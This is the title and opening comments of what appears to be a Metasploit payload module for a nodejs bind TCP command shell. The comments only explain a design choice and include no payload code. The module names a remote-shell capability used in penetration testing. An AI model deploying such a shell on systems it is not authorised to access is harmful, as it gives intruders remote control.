Command Shell, Bind TCP (via nodejs)

# This module requires Metasploit: https://metasploit.com/download

# It would be better to have a commonjs payload, but because the implementations
# differ so greatly when it comes to require() paths for net modules, we will
# settle for just getting shells on nodejs.
